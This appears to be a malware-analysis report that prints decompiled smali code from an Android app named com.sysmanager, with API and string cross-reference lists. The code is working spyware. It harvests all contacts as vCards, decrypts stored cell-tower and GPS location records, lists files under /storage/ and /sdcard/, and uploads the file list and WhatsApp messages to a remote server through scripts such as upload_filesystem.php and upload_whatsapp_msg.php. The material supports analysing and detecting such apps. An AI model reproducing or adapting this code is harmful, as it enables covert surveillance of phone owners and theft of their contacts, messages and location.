130invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
131move-result-object v0
133invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
134move-result-object v12
135new-instance v10, Ljava/io/FileOutputStream;
136const/4 v0, 0x0
138invoke-direct {v10, v12, v0}, Ljava/io/FileOutputStream;-><init>(Ljava/lang/String;Z)V
140invoke-virtual {v8}, Lorg/json/JSONArray;->toString()Ljava/lang/String;
141move-result-object v0
143invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
144move-result-object v0
146invoke-virtual {v10, v0}, Ljava/io/FileOutputStream;->write([B)V
148invoke-virtual {v10}, Ljava/io/FileOutputStream;->close()V
150invoke-virtual {p0}, Lcom/sysmanager/system/AndroidTouch;->InviaFileCronologia()V
151try_end_c8: goto/16 :goto_89
152catch_c9: move-exception v7
153try_start_ca:
154invoke-virtual {p0}, Lcom/sysmanager/system/AndroidTouch;->getApplicationContext()Landroid/content/Context;
155move-result-object v0
157invoke-static {v7}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
158move-result-object v1
160invoke-static {v0, v1}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
161try_end_d5: goto/16 :goto_89
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidSystemLog.getContentResolver
  • android.content.ContentResolver.query
  • android.database.Cursor.moveToFirst
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.net.Uri.withAppendedPath
  • com.sysmanager.system.AndroidSystemLog.getContentResolver
  • android.content.ContentResolver.openAssetFileDescriptor
  • android.content.res.AssetFileDescriptor.createInputStream
  • com.sysmanager.system.AndroidSystemLog.readBytes
  • java.io.FileInputStream.read
  • java.lang.String.<init>
  • java.lang.StringBuilder.append
  • android.database.Cursor.moveToNext
  • android.database.Cursor.close
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidSystemLog.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.FileOutputStream.<init>
  • java.lang.StringBuilder.toString
  • java.lang.String.getBytes
  • java.io.FileOutputStream.write
  • java.io.FileOutputStream.close
  • com.sysmanager.system.AndroidSystemLog.getApplicationContext
  • com.sysmanager.system.AndroidSystemLog.sendPhoneContacts
  • com.sysmanager.system.AndroidSystemLog.getApplicationContext
  • android.database.Cursor.close
  • com.sysmanager.system.AndroidSystemLog.getApplicationContext
Strings
  • lookup
  • r
  • /cachel2/
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Ljava/io/FileNotFoundException;
3}
4.end annotation
5.prologue
6new-instance v14, Ljava/lang/StringBuilder;
8invoke-direct {v14}, Ljava/lang/StringBuilder;-><init>()V
10invoke-virtual/range {p0 .. p0}, Lcom/sysmanager/system/AndroidSystemLog;->getContentResolver()Landroid/content/ContentResolver;
11move-result-object v1
13sget-object v2, Landroid/provider/ContactsContract$Contacts;->CONTENT_URI:Landroid/net/Uri;
14const/4 v3, 0x0
15const/4 v4, 0x0
16const/4 v5, 0x0
17const/4 v6, 0x0
19invoke-virtual/range {v1 .. v6}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
20move-result-object v8
21if-eqz v8, :cond_59
22try_start_15:
23invoke-interface {v8}, Landroid/database/Cursor;->moveToFirst()Z
24try_end_18: move-result v1
25if-eqz v1, :cond_59
26try_start_1b:
27const-string v1, "lookup"
29invoke-interface {v8, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
30move-result v1
32invoke-interface {v8, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
33move-result-object v12
35sget-object v1, Landroid/provider/ContactsContract$Contacts;->CONTENT_VCARD_URI:Landroid/net/Uri;
37invoke-static {v1, v12}, Landroid/net/Uri;->withAppendedPath(Landroid/net/Uri;Ljava/lang/String;)Landroid/net/Uri;
38try_end_2a: move-result-object v16
39try_start_2b:
40invoke-virtual/range {p0 .. p0}, Lcom/sysmanager/system/AndroidSystemLog;->getContentResolver()Landroid/content/ContentResolver;
41move-result-object v1
43const-string v2, "r"
44move-object/from16 v0, v16
46invoke-virtual {v1, v0, v2}, Landroid/content/ContentResolver;->openAssetFileDescriptor(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/res/AssetFileDescriptor;
47move-result-object v10
49invoke-virtual {v10}, Landroid/content/res/AssetFileDescriptor;->createInputStream()Ljava/io/FileInputStream;
50move-result-object v11
51move-object/from16 v0, p0
53invoke-virtual {v0, v11}, Lcom/sysmanager/system/AndroidSystemLog;->readBytes(Ljava/io/InputStream;)[B
54move-result-object v7
56invoke-virtual {v11, v7}, Ljava/io/FileInputStream;->read([B)I
57new-instance v17, Ljava/lang/String;
58move-object/from16 v0, v17
60invoke-direct {v0, v7}, Ljava/lang/String;-><init>([B)V
61move-object/from16 v0, v17
63invoke-virtual {v14, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
64goto_50:
65invoke-interface {v8}, Landroid/database/Cursor;->moveToNext()Z
66try_end_53: move-result v1
67if-nez v1, :cond_1b
68try_start_56:
69invoke-interface {v8}, Landroid/database/Cursor;->close()V
70cond_59: new-instance v1, Ljava/lang/StringBuilder;
72invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
74invoke-virtual/range {p0 .. p0}, Lcom/sysmanager/system/AndroidSystemLog;->getFilesDir()Ljava/io/File;
75move-result-object v2
77invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
78move-result-object v1
80const-string v2, "/cachel2/"
82invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
83move-result-object v1
84move-object/from16 v0, p0
86iget-object v2, v0, Lcom/sysmanager/system/AndroidSystemLog;->mFile:Ljava/lang/String;
88invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
89move-result-object v1
91invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
92move-result-object v15
93new-instance v13, Ljava/io/FileOutputStream;
94const/4 v1, 0x0
96invoke-direct {v13, v15, v1}, Ljava/io/FileOutputStream;-><init>(Ljava/lang/String;Z)V
98invoke-virtual {v14}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
99move-result-object v1
101invoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
102move-result-object v1
104invoke-virtual {v13, v1}, Ljava/io/FileOutputStream;->write([B)V
106invoke-virtual {v13}, Ljava/io/FileOutputStream;->close()V
107try_end_8c:
108invoke-virtual/range {p0 .. p0}, Lcom/sysmanager/system/AndroidSystemLog;->getApplicationContext()Landroid/content/Context;
109move-result-object v1
110move-object/from16 v0, p0
112invoke-direct {v0, v1}, Lcom/sysmanager/system/AndroidSystemLog;->sendPhoneContacts(Landroid/content/Context;)V
113return-void
114catch_96: move-exception v9
115try_start_97:
116invoke-virtual/range {p0 .. p0}, Lcom/sysmanager/system/AndroidSystemLog;->getApplicationContext()Landroid/content/Context;
117move-result-object v1
119invoke-static {v9}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
120move-result-object v2
122invoke-static {v1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
123try_end_a2: goto/16 :goto_50
124catchall_a3: move-exception v1
125try_start_a4:
126invoke-interface {v8}, Landroid/database/Cursor;->close()V
127throw v1
128catch_a8: move-exception v9
130invoke-virtual/range {p0 .. p0}, Lcom/sysmanager/system/AndroidSystemLog;->getApplicationContext()Landroid/content/Context;
131move-result-object v1
133invoke-static {v9}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
134move-result-object v2
136invoke-static {v1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
137goto/16 :goto_8c
Cross References
APIs
  • java.util.ArrayList.<init>
  • com.sysmanager.storage.FileSend.getReadableDatabase
  • android.database.sqlite.SQLiteDatabase.rawQuery
  • android.database.Cursor.moveToNext
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getInt
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • java.util.ArrayList.add
  • com.sysmanager.Scontext.getContext
  • android.database.Cursor.close
Strings
  • SELECT * FROM tab3 ORDER BY _id ASC
  • _id
  • col15
  • col16
  • col17
  • col08
  • col18
  • col02
  • col03
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"()",
3"Ljava/util/ArrayList",
4"<",
5"Lcom/sysmanager/storage/Cell;",
6">;"
7}
8.end annotation
9.prologue
10monitor-enter p0
11try_start_1: new-instance v5, Ljava/util/ArrayList;
13invoke-direct {v5}, Ljava/util/ArrayList;-><init>()V
15invoke-virtual {p0}, Lcom/sysmanager/storage/FileSend;->getReadableDatabase()Landroid/database/sqlite/SQLiteDatabase;
16try_end_9: move-result-object v1
17try_start_a:
18const-string v4, "SELECT * FROM tab3 ORDER BY _id ASC"
19const/4 v6, 0x0
21invoke-virtual {v1, v4, v6}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
22move-result-object v0
23goto_11:
24invoke-interface {v0}, Landroid/database/Cursor;->moveToNext()Z
25move-result v6
26if-eqz v6, :cond_cf
27new-instance v3, Lcom/sysmanager/storage/Cell;
29invoke-direct {v3}, Lcom/sysmanager/storage/Cell;-><init>()V
31const-string v6, "_id"
33invoke-interface {v0, v6}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
34move-result v6
36invoke-interface {v0, v6}, Landroid/database/Cursor;->getInt(I)I
37move-result v6
39invoke-virtual {v3, v6}, Lcom/sysmanager/storage/Cell;->setId(I)V
41invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
42move-result-object v6
44const-string v7, "col15"
46invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
47move-result v7
49invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
50move-result-object v7
52invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
53move-result-object v6
55invoke-virtual {v3, v6}, Lcom/sysmanager/storage/Cell;->setCellid(Ljava/lang/String;)V
57invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
58move-result-object v6
60const-string v7, "col16"
62invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
63move-result v7
65invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
66move-result-object v7
68invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
69move-result-object v6
71invoke-virtual {v3, v6}, Lcom/sysmanager/storage/Cell;->setLac(Ljava/lang/String;)V
73invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
74move-result-object v6
76const-string v7, "col17"
78invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
79move-result v7
81invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
82move-result-object v7
84invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
85move-result-object v6
87invoke-virtual {v3, v6}, Lcom/sysmanager/storage/Cell;->setPsc(Ljava/lang/String;)V
89invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
90move-result-object v6
92const-string v7, "col08"
94invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
95move-result v7
97invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
98move-result-object v7
100invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
101move-result-object v6
103invoke-virtual {v3, v6}, Lcom/sysmanager/storage/Cell;->setTimestamp(Ljava/lang/String;)V
105invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
106move-result-object v6
108const-string v7, "col18"
110invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
111move-result v7
113invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
114move-result-object v7
116invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
117move-result-object v6
119invoke-virtual {v3, v6}, Lcom/sysmanager/storage/Cell;->setType(Ljava/lang/String;)V
121invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
122move-result-object v6
124const-string v7, "col02"
126invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
127move-result v7
129invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
130move-result-object v7
132invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
133move-result-object v6
135invoke-virtual {v3, v6}, Lcom/sysmanager/storage/Cell;->setLatitude(Ljava/lang/String;)V
137invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
138move-result-object v6
140const-string v7, "col03"
142invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
143move-result v7
145invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
146move-result-object v7
148invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
149move-result-object v6
151invoke-virtual {v3, v6}, Lcom/sysmanager/storage/Cell;->setLongitude(Ljava/lang/String;)V
153invoke-virtual {v5, v3}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
154try_end_bf: goto/16 :goto_11
155catch_c1: move-exception v2
156try_start_c2:
157invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
158move-result-object v6
160invoke-static {v2}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
161move-result-object v7
163invoke-static {v6, v7}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
164goto_cd: monitor-exit p0
165return-object v5
166cond_cf:
167invoke-interface {v0}, Landroid/database/Cursor;->close()V
168try_end_d2: goto/16 :goto_cd
169catchall_d3: move-exception v6
170monitor-exit p0
171throw v6
APIs
  • com.sysmanager.system.AndroidFileSystem.FileSystemSubDirReadJson
  • org.json.JSONObject.put
  • org.json.JSONObject.toString
  • com.sysmanager.system.AndroidFileSystem.write
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidFileSystem.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • com.sysmanager.system.AndroidFileSystem.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • com.sysmanager.system.AndroidFileSystem.stopSelf
  • com.sysmanager.system.AndroidFileSystem.FileSystemSubDirReadJson
  • com.sysmanager.system.AndroidFileSystem.getApplicationContext
  • java.lang.String.isEmpty
  • com.sysmanager.system.AndroidFileSystem.getApplicationContext
  • java.io.File.<init>
  • java.io.File.delete
  • com.sysmanager.system.AndroidFileSystem.getApplicationContext
Strings
  • /storage/
  • ListaElementi
  • /
  • filelist
  • col18
  • /sdcard/
  • A70
  • upload_filesystem.php
  • ListaFileYES
Position Instruction Meta Information
0.prologue
1try_start_0: sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
2const/16 v4, 0xe
3if-lt v2, v4, :cond_75
5iget-object v2, p0, Lcom/sysmanager/system/AndroidFileSystem$1;->this$0:Lcom/sysmanager/system/AndroidFileSystem;
7const-string v4, "/storage/"
9iget-object v5, p0, Lcom/sysmanager/system/AndroidFileSystem$1;->this$0:Lcom/sysmanager/system/AndroidFileSystem;
11iget-object v5, v5, Lcom/sysmanager/system/AndroidFileSystem;->elenco:Lorg/json/JSONArray;
13invoke-virtual {v2, v4, v5}, Lcom/sysmanager/system/AndroidFileSystem;->FileSystemSubDirReadJson(Ljava/lang/String;Lorg/json/JSONArray;)V
14goto_11:
15iget-object v2, p0, Lcom/sysmanager/system/AndroidFileSystem$1;->this$0:Lcom/sysmanager/system/AndroidFileSystem;
17iget-object v2, v2, Lcom/sysmanager/system/AndroidFileSystem;->object:Lorg/json/JSONObject;
19const-string v4, "ListaElementi"
21iget-object v5, p0, Lcom/sysmanager/system/AndroidFileSystem$1;->this$0:Lcom/sysmanager/system/AndroidFileSystem;
23iget-object v5, v5, Lcom/sysmanager/system/AndroidFileSystem;->elenco:Lorg/json/JSONArray;
25invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
27iget-object v2, p0, Lcom/sysmanager/system/AndroidFileSystem$1;->this$0:Lcom/sysmanager/system/AndroidFileSystem;
29iget-object v4, p0, Lcom/sysmanager/system/AndroidFileSystem$1;->this$0:Lcom/sysmanager/system/AndroidFileSystem;
31iget-object v4, v4, Lcom/sysmanager/system/AndroidFileSystem;->object:Lorg/json/JSONObject;
33invoke-virtual {v4}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
34move-result-object v4
35iput-object v4, v2, Lcom/sysmanager/system/AndroidFileSystem;->content:Ljava/lang/String;
37iget-object v2, p0, Lcom/sysmanager/system/AndroidFileSystem$1;->this$0:Lcom/sysmanager/system/AndroidFileSystem;
39iget-object v4, p0, Lcom/sysmanager/system/AndroidFileSystem$1;->this$0:Lcom/sysmanager/system/AndroidFileSystem;
41iget-object v4, v4, Lcom/sysmanager/system/AndroidFileSystem;->content:Ljava/lang/String;
43invoke-virtual {v2, v4}, Lcom/sysmanager/system/AndroidFileSystem;->write(Ljava/lang/String;)Ljava/lang/Boolean;
44new-instance v0, Ljava/io/File;
45new-instance v2, Ljava/lang/StringBuilder;
47invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
49iget-object v4, p0, Lcom/sysmanager/system/AndroidFileSystem$1;->this$0:Lcom/sysmanager/system/AndroidFileSystem;
51invoke-virtual {v4}, Lcom/sysmanager/system/AndroidFileSystem;->getFilesDir()Ljava/io/File;
52move-result-object v4
54invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
55move-result-object v2
57const-string v4, "/"
59invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
60move-result-object v2
62invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
63move-result-object v2
65invoke-direct {v0, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
67const-string v1, "filelist"
69iget-object v2, p0, Lcom/sysmanager/system/AndroidFileSystem$1;->this$0:Lcom/sysmanager/system/AndroidFileSystem;
71invoke-virtual {v2}, Lcom/sysmanager/system/AndroidFileSystem;->getApplicationContext()Landroid/content/Context;
72move-result-object v2
74invoke-static {v2}, Lcom/sysmanager/network/NetworkUtil;->getConnectivityStatus(Landroid/content/Context;)I
75move-result v7
76if-nez v7, :cond_90
77goto_5f:
78iget-object v2, p0, Lcom/sysmanager/system/AndroidFileSystem$1;->this$0:Lcom/sysmanager/system/AndroidFileSystem;
80invoke-virtual {v2}, Lcom/sysmanager/system/AndroidFileSystem;->getApplicationContext()Landroid/content/Context;
81move-result-object v2
83invoke-static {v2}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
84move-result-object v2
86const-string v4, "col18"
87const/4 v5, 0x0
89invoke-virtual {v2, v4, v5}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
90try_end_6f:
91iget-object v2, p0, Lcom/sysmanager/system/AndroidFileSystem$1;->this$0:Lcom/sysmanager/system/AndroidFileSystem;
93invoke-virtual {v2}, Lcom/sysmanager/system/AndroidFileSystem;->stopSelf()V
94return-void
95cond_75:
96iget-object v2, p0, Lcom/sysmanager/system/AndroidFileSystem$1;->this$0:Lcom/sysmanager/system/AndroidFileSystem;
98const-string v4, "/sdcard/"
100iget-object v5, p0, Lcom/sysmanager/system/AndroidFileSystem$1;->this$0:Lcom/sysmanager/system/AndroidFileSystem;
102iget-object v5, v5, Lcom/sysmanager/system/AndroidFileSystem;->elenco:Lorg/json/JSONArray;
104invoke-virtual {v2, v4, v5}, Lcom/sysmanager/system/AndroidFileSystem;->FileSystemSubDirReadJson(Ljava/lang/String;Lorg/json/JSONArray;)V
105try_end_80: goto/16 :goto_11
106catch_81: move-exception v9
108iget-object v2, p0, Lcom/sysmanager/system/AndroidFileSystem$1;->this$0:Lcom/sysmanager/system/AndroidFileSystem;
110invoke-virtual {v2}, Lcom/sysmanager/system/AndroidFileSystem;->getApplicationContext()Landroid/content/Context;
111move-result-object v2
113invoke-static {v9}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
114move-result-object v4
116invoke-static {v2, v4}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
117goto/16 :goto_6f
118cond_90:
119iget-object v2, p0, Lcom/sysmanager/system/AndroidFileSystem$1;->this$0:Lcom/sysmanager/system/AndroidFileSystem;
121invoke-virtual {v2}, Lcom/sysmanager/system/AndroidFileSystem;->getApplicationContext()Landroid/content/Context;
122move-result-object v2
124invoke-static {v2}, Lcom/sysmanager/network/HTTPUtility;->obtainHostName(Landroid/content/Context;)Ljava/lang/String;
125move-result-object v3
127invoke-virtual {v3}, Ljava/lang/String;->isEmpty()Z
128move-result v2
129if-nez v2, :cond_5f
131const-string v2, "A70"
133const-string v4, "upload_filesystem.php"
135const-string v5, ""
137iget-object v6, p0, Lcom/sysmanager/system/AndroidFileSystem$1;->this$0:Lcom/sysmanager/system/AndroidFileSystem;
139invoke-virtual {v6}, Lcom/sysmanager/system/AndroidFileSystem;->getApplicationContext()Landroid/content/Context;
140move-result-object v6
142invoke-static/range {v0 .. v6}, Lcom/sysmanager/network/HTTPUtility;->doFileUpload(Ljava/io/File;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)Z
143move-result v8
144if-eqz v8, :cond_5f
145new-instance v10, Ljava/io/File;
147invoke-direct {v10, v0, v1}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
149invoke-virtual {v10}, Ljava/io/File;->delete()Z
151const-string v2, "ListaFileYES"
153iget-object v4, p0, Lcom/sysmanager/system/AndroidFileSystem$1;->this$0:Lcom/sysmanager/system/AndroidFileSystem;
155invoke-virtual {v4}, Lcom/sysmanager/system/AndroidFileSystem;->getApplicationContext()Landroid/content/Context;
156move-result-object v4
158const-string v5, "A70"
160invoke-static {v2, v4, v5}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
161try_end_c7: goto/16 :goto_5f
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • com.sysmanager.system.AndroidAccessibility.getApplicationContext
  • java.lang.String.isEmpty
  • com.sysmanager.system.AndroidAccessibility.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • java.io.File.getName
  • com.sysmanager.system.AndroidAccessibility.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • com.sysmanager.system.AndroidAccessibility.getApplicationContext
  • android.os.SystemClock.sleep
  • java.io.File.getName
  • com.sysmanager.system.AndroidAccessibility.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • com.sysmanager.system.AndroidAccessibility.getApplicationContext
Strings
  • /
  • col20
  • A70
  • upload_whatsapp_msg.php
  • col21
  • whatsappYES
Position Instruction Meta Information
0.param p1, "var" # Ljava/io/File;
1.param p2, "nameFile" # Ljava/lang/String;
2.prologue
3const/4 v10, 0x0
4new-instance v9, Ljava/io/File;
5new-instance v0, Ljava/lang/StringBuilder;
7invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
9invoke-virtual {p1}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
10move-result-object v1
12invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
13move-result-object v0
15const-string v1, "/"
17invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
18move-result-object v0
20invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
21move-result-object v0
23invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
24move-result-object v0
26invoke-direct {v9, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
28invoke-virtual {p0}, Lcom/sysmanager/system/AndroidAccessibility;->getApplicationContext()Landroid/content/Context;
29move-result-object v0
31invoke-static {v0}, Lcom/sysmanager/network/NetworkUtil;->getConnectivityStatus(Landroid/content/Context;)I
32move-result v7
33if-nez v7, :cond_2c
34cond_2b: return-void
35cond_2c:
36invoke-virtual {p0}, Lcom/sysmanager/system/AndroidAccessibility;->getApplicationContext()Landroid/content/Context;
37move-result-object v0
39invoke-static {v0}, Lcom/sysmanager/network/HTTPUtility;->obtainHostName(Landroid/content/Context;)Ljava/lang/String;
40move-result-object v3
42invoke-virtual {v3}, Ljava/lang/String;->isEmpty()Z
43move-result v0
44if-nez v0, :cond_2b
46invoke-virtual {p0}, Lcom/sysmanager/system/AndroidAccessibility;->getApplicationContext()Landroid/content/Context;
47move-result-object v0
49invoke-static {v0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
50move-result-object v0
52const-string v1, "col20"
54invoke-virtual {v0, v1}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
55move-result v0
56if-nez v0, :cond_8a
57const/4 v0, 0x1
58if-ne v7, v0, :cond_2b
60invoke-virtual {v9}, Ljava/io/File;->getName()Ljava/lang/String;
61move-result-object v1
63const-string v2, "A70"
65const-string v4, "upload_whatsapp_msg.php"
67const-string v5, ""
69invoke-virtual {p0}, Lcom/sysmanager/system/AndroidAccessibility;->getApplicationContext()Landroid/content/Context;
70move-result-object v6
71move-object v0, p1
73invoke-static/range {v0 .. v6}, Lcom/sysmanager/network/HTTPUtility;->doFileUpload(Ljava/io/File;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)Z
74move-result v8
75if-eqz v8, :cond_84
76iget v0, p0, Lcom/sysmanager/system/AndroidAccessibility;->cont:I
77add-int/lit8 v0, v0, -0x1
78iput v0, p0, Lcom/sysmanager/system/AndroidAccessibility;->cont:I
79iget v0, p0, Lcom/sysmanager/system/AndroidAccessibility;->cont:I
80if-nez v0, :cond_84
82invoke-virtual {p0}, Lcom/sysmanager/system/AndroidAccessibility;->getApplicationContext()Landroid/content/Context;
83move-result-object v0
85invoke-static {v0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
86move-result-object v0
88const-string v1, "col21"
90invoke-virtual {v0, v1, v10}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
92const-string v0, "whatsappYES"
94invoke-virtual {p0}, Lcom/sysmanager/system/AndroidAccessibility;->getApplicationContext()Landroid/content/Context;
95move-result-object v1
97const-string v2, "A70"
99invoke-static {v0, v1, v2}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
100cond_84: const-wide/16 v0, 0x1388
102invoke-static {v0, v1}, Landroid/os/SystemClock;->sleep(J)V
103goto/16 :goto_2b
104cond_8a:
105invoke-virtual {v9}, Ljava/io/File;->getName()Ljava/lang/String;
106move-result-object v1
108const-string v2, "A70"
110const-string v4, "upload_whatsapp_msg.php"
112const-string v5, ""
